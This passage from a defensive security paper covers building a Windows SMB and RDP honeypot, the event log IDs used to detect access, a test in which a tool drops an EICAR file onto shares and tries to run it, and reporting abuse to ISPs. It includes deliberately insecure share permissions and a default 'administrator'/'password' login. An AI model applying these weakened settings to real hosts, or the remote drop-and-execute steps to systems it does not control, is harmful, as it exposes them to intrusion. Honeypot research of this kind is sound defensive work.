WMI permissions change allows the account to query Win32_Share in the 
ROOT/CIMV2 namespace for share enumeration (Microsoft, 2012h). 
This configuration opens up the honey pot to allow some of the interactions 
expected with a Windows host. With that, consider installing security patches to prevent 
remote exploits that are commonly exploited by worms. The honey pot should be closely 
monitored using the tools and scripts of choice. Approval should be received before 
adding a honey pot to a network.  
Enable the audit object access policy for both success and failure. Create a folder 
and modify the permissions to allow ANONYMOUS LOGON and everyone groups read 
and write permissions. Deny execute and delete permissions to the restricted 
administrator account. Configure a network share named “open” on the folder granting 
change and read permissions to ANONYMOUS LOGON and everyone groups. Repeat to 
create a second share but grant permissions to Administrator instead of ANONYMOUS 
LOGON. 
 
Windows XP: 
For object access audit logging detection, filter to Event ID 560 in the Security 
Event Log with a Source of Security, Category of Object Access, any Type, from any 
user and with any description. For logon event detection, filter to Event ID 680 in the 
Security Event Log with a Source of Security, Category of Account Logon, any Type, 
from any user and with any description. 
 
Windows Vista and 7:  
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For object access audit logging detection, filter to Event ID 4656 in the Security 
Event Log with a Source of Microsoft-Windows-Security-Auditing, In Vista use event 
category of Other Object Access but in Windows 7 use category of File System, any 
Type, from any user and with any description. For logon event detection, filter to Event 
ID 4776 in the Security Event Log with a Source of Microsoft-Windows-Security-
Auditing, Category of Account Logon, any Type, from any user and with any description. 
 
6.2.  Honey Pot Example 
For successful network logon detection filter to Event IDs 540 in the Security 
Event Log with a Source of Security, Category of Logon/Logoff, audit failure Type, from 
any user and with any description. To test the SMB/CIFS honey pot the tool CIFS File 
Drop Tester will be used (Boyle, 2013a). This is in place of releasing an actual virus or 
worm onto the network. The tool utilizes WMI over RPC to log in and connect to the 
remote system. Once authenticated it then can enumerate network shares, attempt to drop 
a specified file to the share(s), and attempt to execute the dropped file(s). Any file can be 
used to drop on the network share but a non-malicious one such as eicar was used. An 
alternative to CIFS File Drop Tester which does not require RPC is PsExec from 
Sysinternals/Microsoft. However, PsExec does require the use of the Admin$ share 
(Russinovich, 2004). 
6.2.1.  Honey Pot Example Walkthrough 
Open CIFS File Drop Tester and add the IP address to the host field. Type the 
user name “administrator” and the password “password”. Click the list shares on remote 
host button which will populate shares list. Remove all shares but the open and limited 
administrator share from the list.  
Select the test file that will be dropped and click the Copy Local File to Network 
Shares button. This successfully copies the local file to the remote share which populates 
the file drop list with the UNC file path. Click to highlight the file from the dropped file 
list and click the execute selected button which results in a execute failed error. 
Analyzing the shares reveals files that were recently created. The security 
permissions on the file list Administrator as having full control over the file. Looking at  
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the alerts generated by RHIPS the client user name, Administrator successfully 
performed a network logon and opened the identified files in the shares for WriteData or 
AddFile. The creation time stamp on the file matches that of the event recorded in the 
alerts.log.  
The alerts.log also contained a failed logon event for the user account running the 
CIFS File Drop Tester application followed by a success for the guest account. The 
evidence collected does not show any open files. The net sessions output does list a 
session with a remote host using null username. That same remote host’s IP shows up in 
the Windows firewall log.  
7. Incident Reporting 
Analyzing a honey pot it was noticed the same computer attempting brute force 
access on more than one occasion. Compromised or attacker controlled systems will not 
likely resolve themselves until notification is received. The unwanted behavior will 
continue until someone takes action. Alerting concerned parties about the observed 
behavior will hopefully initiate a reaction that leads to the remediation of further abuse.  
7.1.  Remote Logon Incident Reporting   
Malicious actors aren’t just attacking one target they are attacking the internet at 
large. Reporting an incident can prevent future attacks and can help the internet 
community. This example of incident reporting is for unauthorized remote logon 
attempts. A honey pot system running Windows XP was exposed to the internet on port 
3389 allowing inbound RDP connections (Ducklin, 2012). Warning banners were 
configured to inform that unauthorized access attempts would be recorded and reported to 
the ISP and/or law enforcement (Microsoft, 2013).  
 
RDP Failed Logons 
Filter detection to Event ID 529 from the security event lot with a source of 
security, category of Logon/Logoff, audit failure type, from any user, with description 
Logon Failure and sub string contains Logon Type:%TAB%10. Set 0 instances before  
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alerting, 0 instances to kick off action, 3 hours to go back in logs for event aggregation, 
get IP address using port 3389 and gather evidence. 
 
RDP Connections 
Filter detection to Event ID 515 from the Security Event log. Set 0 instances 
before alerting, 180 minutes to go back in logs for event aggregation, get IP address using 
port 3389, gather evidence, and restrict IP address correlation timeframe to go back in the 
logs for 5 seconds. 
 
Ensure all policies are configured, such as warning banners, auditing and logging. 
Regardless if a honeypot is used events need to be recorded and captured so as not to be 
overwritten. Verify that NTP is enabled and functioning properly on all devices. Also 
confirm that the date and time is accurate. Gather the evidence to a central location for 
processing. Investigate how to report the abuse to the provider.  
Visit IANA to see which registrar (AfriNIC, APNIC, ARIN, LACNIC, RIPE 
NCC) to do the WHOIS look up through given the IP address space. Visit the registrar 
and perform a WHOIS lookup on the IP address. This should provide an abuse contact or 
at least some kind of contact. If the company name was obtained from the WHOIS record 
or by doing a reverse lookup on the IP address check to see if there are any special 
contacts or instructions for reporting abuse. 
If no abuse contact is found or errors were encountered with mail delivery try 
abuse@, security@, postmaster@, root@ or webmaster@ domain contacts. Another 
option is to submit to 3
rd party such as mynetwatchman.com.  
Windows event log and firewall data are retrieved by RHIPS. For lack of syslog a 
SMB gateway firewall is configured to SMTP connection logs for the port 3389 forward 
rule trigger to a mailbox on a mail server. The following batch file and command are 
used to filter out the needed IP addresses from the logs (Savill, 2000; Skoudis, 2008): 
 
(Filter_Logs.bat): 
for /r "C:\Inetpub\mailroot\Mailbox\rhythmengineering.com\P3_Alerts.mbx" %%i in (*) 
do type "%%i" | find "%1" >> d:\Flogs\%1.log  
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Filter_Logs.bat [IP.Address] 
 
Internet service providers will want to know what time zone the logs are in (Time 
Warner Cable, 2010). This allows the ISP to confirm on their end and identify the 
subscriber utilizing the reported IP address. Some may even require the logs submitted be 
in UTC/GMT. If operating a honey pot exposed to the internet to gather evidence for 
reporting to ISPs consider changing the system time zone to UTC/GMT. For systems that 
utilize an offset from UTC a log time converter may be an option.  
Once logs have been gathered UTC Log Converter is used to convert the time 
stamps in the logs to UTC (Boyle, 2013d). UTC Log Converter has a GUI for log 
processing, but also works with parameter commands. The first parameter is the input 
path which specifies the path to the file(s) needing time zone conversion. The second 
parameter is the date format example used to identify the date.  
The third parameter is the output path which specifies the file or folder path for 
the converted log files to be placed. The forth parameter is output format where "-o1" =  
'M/D/YYYY 0:00:00 PM, "-o2" = 'MM/DD/YYYY 00:00:00  and "-o3" = 
'YYYY/MM/DD 00:00:00. The fifth parameter used “-c” specifies to convert the time 
stamp using the offset. Optional parameter is the offset value which if not specified will 
be the current offset to UTC on the system.  
 
(Convert_Logs.bat): 
UTCLC.exe "D:\RDP\Event\New\" "07/06/2012 08:11:12" "D:\RDP\UTC_Event" -o2 -
m1 -c 
UTCLC.exe "D:\RDP\Firewall\New" "2012-07-06 08:11:07" "D:\RDP\UTC_Firewall" -
o2 -m2 -c 
UTCLC.exe "D:\RDP\Network_Firewall\New" "2012-07-06 08:11:17" 
"D:\RDP\UTC_Network_Firewall" -o2 -m2 -c 
 
Once log files have been converted to UTC verify the conversion was done 
correctly and that the time stamps line up across logs. When reporting an incident via  
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email message does not overwhelm the ISP with logs. A sampling of logs should be 
sufficient. Even if the logs have been converted to UTC be sure to specify that is the 
offset (x-arf.org community, 2010).  
It’s a good idea to put the offending IP in the subject line as some ISPs request 
this be done. Also providing a name and contact info such as a phone number can help 
with incident resolution. Not all ISPs support attachments so avoiding attachments where 
not specified will ensure all information is received. Due to only being able to retain a 
few days of logs, reporting incidents in a timely manner will increase the chance the 
responder’s logs have not rolled yet (Baldwin 2002).  
8. Conclusions   
Event monitoring IPS can be tied into and drive various solutions. These can 
include preventing network enumeration via a honey port, blocking remote password 
guessing, gathering evidence, or even operating as part of a honey pot. Incident response 
can only occur once and incident is identified. Implementing new ways of identifying 
events as deviations from normal activity can help confirm and respond to incidents. 
Once an incident is confirmed, reporting the incident to the concerned parties can help 
prevent further attacks from the identified source. 
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